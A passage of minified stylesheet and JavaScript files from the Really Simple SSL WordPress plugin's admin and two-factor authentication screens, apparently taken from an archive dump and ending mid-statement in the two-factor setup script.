.rdt_TableCol:last-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child{flex-grow:1}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-user_agents .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableHeadRow{border:0}.rsssl-content_security_policy .rsssl-field-wrap .rdt_Pagination,.rsssl-permissions_policy .rsssl-field-wrap .rdt_Pagination,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_Pagination,.rsssl-user_agents .rsssl-field-wrap .rdt_Pagination,.rsssl-404_blocking .rsssl-field-wrap .rdt_Pagination,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_Pagination,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_Pagination,.rsssl-hardening-xml .rsssl-field-wrap .rdt_Pagination,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_Pagination,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_Pagination,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_Pagination,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_Pagination,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_Pagination,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_Pagination,.rsssl-two_fa_users .rsssl-field-wrap .rdt_Pagination,.rsssl-firewall_logs .rsssl-field-wrap .rdt_Pagination,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_Pagination,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_Pagination{border:0}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_TableRow{border:0}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child{flex-grow:1}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child{padding:0;flex-direction:row}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child{padding:0 25px;flex-direction:row}.rsssl-content_security_policy .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-user_agents .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-404_blocking .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-learning-mode-delete{float:right}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:last-child div{width:100%}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:last-child div a{margin-left:10px}.rsssl-limit_login_attempts_event_log .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_logs_content .rdt_TableHeadRow .rdt_TableCol:last-child{justify-content:flex-start}.rsssl-vulnerabilities-measures-overview .allowRowEvents .wp-core-ui select{max-width:100%}.rsssl-vulnerabilities-measures-overview div:first-child{white-space:initial !important}.rsssl-vulnerabilities-measures-overview .rdt_TableCell:nth-child(2) select{max-width:100%}.rsssl-content_security_policy .rdt_TableCol:last-child,.rsssl-permissions_policy .rdt_TableCol:last-child{flex-grow:1;text-align:right}.rsssl-content_security_policy .rdt_TableCol:last-child div,.rsssl-permissions_policy .rdt_TableCol:last-child div{width:100%;display:flex;justify-content:flex-start}.rsssl-content_security_policy .rdt_TableCell:last-child,.rsssl-permissions_policy .rdt_TableCell:last-child{flex-grow:1;text-align:right}.rsssl-content_security_policy .rdt_TableCell:last-child div,.rsssl-permissions_policy .rdt_TableCell:last-child div{width:100%;display:flex;justify-content:flex-end}.rsssl-content_security_policy .rdt_TableCell:last-child div button,.rsssl-permissions_policy .rdt_TableCell:last-child div button{margin-right:0 !important}.rsssl-vulnerabilities-measures-overview .rdt_TableRow .rdt_TableCell:last-child{overflow:hidden;text-overflow:ellipsis;width:200px}.rsssl-content_security_policy_source_directives:has(.rsssl-shield-overlay){min-height:250px}.rsssl .rsssl-new-features-block .rsssl-grid-item-content{display:flex;flex-direction:column;justify-content:space-between}.rsssl .rsssl-new-features{display:flex;flex-direction:row;flex-wrap:wrap;gap:var(--rsp-spacing-xs)}@media only screen and (max-width:1599px) and (min-width:1280px){.rsssl .rsssl-new-features{gap:var(--rsp-spacing-xxs)}}.rsssl .rsssl-new-feature{width:100%;color:var(--rsp-text-color-light);display:flex;align-items:flex-start;min-width:0;gap:var(--rsp-spacing-xs);text-decoration:none}.rsssl .rsssl-new-feature .rsssl-icon{margin-top:2px}.rsssl .rsssl-new-feature .rsssl-new-feature-desc p{font-size:var(--rsp-fs-300)}a.rsssl-skip-link{display:flex;justify-content:center;margin:15px 0 20px}.rsssl-two_fa_users div[data-column-id="5"].rdt_TableCol{display:none}.rsssl-two_fa_users .rdt_TableRow .rdt_TableCell:last-child{flex:1;display:flex;justify-content:flex-end}.rsssl-two_fa_users .rdt_TableHeadRow .rdt_TableCol:last-child{flex-grow:1;display:flex;justify-content:flex-end}.rsssl-two_fa_general .MuiPopper-root,.rsssl-two_fa_general .MuiPaper-root,.rsssl-two_fa_email .MuiPopper-root,.rsssl-two_fa_email .MuiPaper-root,.rsssl-two_fa_totp .MuiPopper-root,.rsssl-two_fa_totp .MuiPaper-root,.rsssl-two_fa_users .MuiPopper-root,.rsssl-two_fa_users .MuiPaper-root{max-height:30px;z-index:15}.rsssl-two_fa_general .MuiPopper-root div,.rsssl-two_fa_general .MuiPaper-root div,.rsssl-two_fa_email .MuiPopper-root div,.rsssl-two_fa_email .MuiPaper-root div,.rsssl-two_fa_totp .MuiPopper-root div,.rsssl-two_fa_totp .MuiPaper-root div,.rsssl-two_fa_users .MuiPopper-root div,.rsssl-two_fa_users .MuiPaper-root div{font-family:inherit !important}.rsssl-two_fa_general .MuiPopper-root ul,.rsssl-two_fa_general .MuiPaper-root ul,.rsssl-two_fa_email .MuiPopper-root ul,.rsssl-two_fa_email .MuiPaper-root ul,.rsssl-two_fa_totp .MuiPopper-root ul,.rsssl-two_fa_totp .MuiPaper-root ul,.rsssl-two_fa_users .MuiPopper-root ul,.rsssl-two_fa_users .MuiPaper-root ul{max-height:initial}.rsssl-add-button__inner .button{display:flex;align-items:center}.rsssl-add-button__inner .button .icon{margin-left:8px}.rsssl-modal .rsssl-intro-logo{width:7em;position:absolute;right:1.6em;height:auto;bottom:.15em;margin:0;padding:0}@media(max-width:768px){.rsssl-modal .rsssl-intro-logo{display:none}}.rsssl-modal .rsssl-ssl-intro-container .rsssl-details{display:flex;padding:var(--rsp-spacing-xs) var(--rsp-spacing-m);gap:var(--rsp-spacing-xs)}.rsssl-modal .rsssl-ssl-intro-container .rsssl-details .rsssl-icon{min-width:25px}.rsssl-modal .rsssl-modal-footer{padding:var(--rsp-spacing-m) var(--rsp-spacing-m)}.rsssl-modal .icon-spin{animation:spin 2s linear infinite}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}.rsssl .rsssl-locked{position:relative;z-index:0}.rsssl .rsssl-locked.rsssl-locked-premium .rsssl-locked-overlay{bottom:var(--rsp-spacing-s);flex-direction:column;z-index:0}.rsssl .rsssl-locked .rsssl-locked-overlay{display:flex;bottom:0;text-align:left;margin-bottom:20px;padding:0;z-index:0}.rsssl .rsssl-locked .rsssl-locked-overlay.rsssl-premium{bottom:0;flex-direction:column}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-header{width:100%;flex-direction:row}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-header .rsssl-locked-header-title{font-weight:600;color:var(--rsp-blue)}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-content{flex-direction:row;width:100%}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-footer{display:flex;align-items:center;justify-content:flex-start;width:100%}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-footer a{position:relative;float:left !important}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-footer::after{content:"";display:table;clear:both}.rsssl .rsssl-disabled .rsssl-field-wrap .rsssl-locked{background:transparent}.rsssl div[class^=rsssl-wizard-] .rsssl-hardening-xml .rsssl-locked .rsssl-shield-overlay{align-items:center;display:flex;justify-content:center}.rsssl-accordeon{border:1px solid #ccc;border-radius:5px;overflow:hidden;transition:all .3s ease}.rsssl-accordeon__header{display:flex;justify-content:space-between;align-items:center;background-color:#f5f5f5;padding:10px;cursor:pointer}.rsssl-accordeon__header__inner{display:flex;align-items:center}.rsssl-accordeon__header__icon{width:20px;height:20px;margin-right:10px}.rsssl-accordeon__header__title{font-size:16px;font-weight:bold}.rsssl-accordeon__header__button__inner{background:0;border:0;cursor:pointer;font-size:18px}.rsssl-accordeon__content{max-height:0;overflow:hidden;transition:max-height .3s ease}.rsssl-accordeon--open .rsssl-accordeon__content{max-height:300px}.rsssl-accordeon__content__inner{padding:15px;background-color:#fff}.rsssl div[class^=rsssl-wizard-] .rsssl-tooltip-icon .react-tooltip{max-width:300px;white-space:pre-wrap}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap label{display:flex}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap label .cmplz-label-text{margin-right:10px}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap .rsssl-icon{cursor:pointer}.rsssl .rsssl-skeleton:empty{margin:auto;margin-bottom:25px;width:100%;height:235px;background-image:linear-gradient(100deg,rgba(255,255,255,0),rgba(255,255,255,0.5) 70%,rgba(255,255,255,0.5) 15%),linear-gradient(#f2f2f2 38px,transparent 0),linear-gradient(#f2f2f2 38px,transparent 0),linear-gradient(#f2f2f2 38px,transparent 0),linear-gradient(#f2f2f2 38px,transparent 0);background-repeat:repeat-y;background-size:50px 200px,100% 117px,100% 117px,100% 117px,100% 117px;background-position:0 0,1px 1px,1px 40px,1px 79px,1px 118px;background-color:#d6d8db;border-right:1px solid #d6d8db;animation:shine 2.5s infinite}@keyframes shine{to{background-position:100% 0,1px 1px,1px 40px,1px 79px,1px 118px}}.rsssl .rsssl-loader{margin:0;width:50px;height:15px;text-align:center;font-size:10px}.rsssl .rsssl-loader>div{margin:1px;background-color:#333;height:100%;width:3px;display:inline-block;-webkit-animation:sk-stretchdelay 1.2s infinite ease-in-out;animation:sk-stretchdelay 1.2s infinite ease-in-out}.rsssl .rsssl-loader.rsssl-loader-white>div{background-color:#fff}.rsssl .rsssl-loader .rect2{-webkit-animation-delay:-1.1s;animation-delay:-1.1s}.rsssl .rsssl-loader .rect3{-webkit-animation-delay:-1s;animation-delay:-1s}.rsssl .rsssl-loader .rect4{-webkit-animation-delay:-0.9s;animation-delay:-0.9s}.rsssl .rsssl-loader .rect5{-webkit-animation-delay:-0.8s;animation-delay:-0.8s}.rsssl .button-primary .rsssl-loader div{background-color:#fff}@-webkit-keyframes sk-stretchdelay{0%,40%,100%{-webkit-transform:scaleY(0.4)}20%{-webkit-transform:scaleY(1)}}@keyframes sk-stretchdelay{0%,40%,100%{transform:scaleY(0.4);-webkit-transform:scaleY(0.4)}20%{transform:scaleY(1);-webkit-transform:scaleY(1)}}.rsssl{--rsp-brand-primary:var(--rsp-yellow);--rsp-brand-secondary:var(--rsp-blue);--rsp-brand-primary-faded:var(--rsp-yellow-faded)}really-simple-ssl/assets/two-fa/rtl/two-fa-assets.min.css000064400000003311147510273070017417 0ustar00#two-factor-qr-code{display:flex;justify-content:left;align-items:center;width:100%;min-height:100%}#qr-code-container{margin-bottom:20px;position:relative;text-align:center}#two-factor-totp-authcode{width:100%}tr.rsssl_verify_email{display:none}.error{color:red;margin-top:-5px}span.rsssl-backup-codes{padding:5px;background:#fbebed;border-radius:8px;box-shadow:rgba(0,0,0,0.1) 0 4px 6px -1px}.input{margin-bottom:5px !important}#totp-key{cursor:pointer;display:flex;justify-content:center;align-items:center}table.rsssl-table-two-fa{padding-bottom:20px}.rsssl-methods-tag{padding:2px 5px;border:1px solid #000;color:#000;margin-left:5px;background:dimgrey}.rsssl-methods-tag.active{background:darkgreen;color:#fff}.radio-input{position:absolute;right:0;margin-left:10px;vertical-align:middle;top:5px}.radio-label{display:inline-block;vertical-align:middle;width:100%;position:relative;margin:20px 0}.badge{margin-left:10px;padding:2px 4px}.badge-default{background-color:#e5e5e5;color:black}.badge-enabled{background-color:#fbc43e;color:black}#two_fa_onboarding_form{margin-top:20px}#two_fa_onboarding_form div{transition:height .5s}#skip_onboarding{margin-right:20px}.skip_container{display:flex;justify-content:space-between;align-items:center;margin-top:10px}.skip_container a{text-decoration:none}.totp-submit{margin-top:10px}div.rsssl_step_one_onboarding{display:block}div.rsssl_step_two_onboarding{display:none}div.rsssl_step_three_onboarding{margin-top:10px;display:none}#two-factor-qr-code{display:flex;justify-content:center;align-items:center;min-width:205px;min-height:205px}.error{color:red;margin-top:-5px}.input{margin-bottom:5px !important}#totp-key{cursor:pointer;display:flex;justify-content:center;align-items:center}really-simple-ssl/assets/two-fa/rtl/two-fa-assets.min.js000064400000017227147510273070017256 0ustar00class BaseAuth{constructor(e,t){this.root=e,this.settings=t,this.translatableStrings={keyCopied:this.settings.translatables.keyCopied}}getElement=e=>document.getElementById(e);getCheckedInputValue=e=>document.querySelector(`input[name="${e}"]:checked`).value;performFetchOp=(e,t,n="POST")=>{var e=this.root+e,o={method:n,headers:{"Content-Type":"application/json"}};return"POST"===n&&(o.body=JSON.stringify(t)),fetch(e,o)};assignClickListener=(e,t)=>{e=this.getElement(e);e&&e.addEventListener("click",function(e){e.preventDefault(),t()})};logFetchError=e=>console.error("There has been a problem with your fetch operation:",e);qr_generator=()=>{var e,t=this.settings.totp_data.totp_url;t&&((e=qrcode(0,"L")).addData(t),e.make(),null!=(t=document.querySelector("#two-factor-qr-code a")))&&(t.innerHTML=e.createSvgTag(5))};download_codes=()=>{var e=this.settings.totp_data.backup_codes;let t="";e.forEach(function(e){t+=e+"\n"});e=document.createElement("a");e.setAttribute("href","data:text/plain;charset=utf-8,"+encodeURIComponent(t)),e.setAttribute("download","backup_codes.txt"),e.style.display="none",document.body.appendChild(e),e.click(),document.body.removeChild(e)};copyTextAndShowMessage=()=>{var e=this.settings.totp_data.key;navigator.clipboard.writeText(e).then(()=>{let 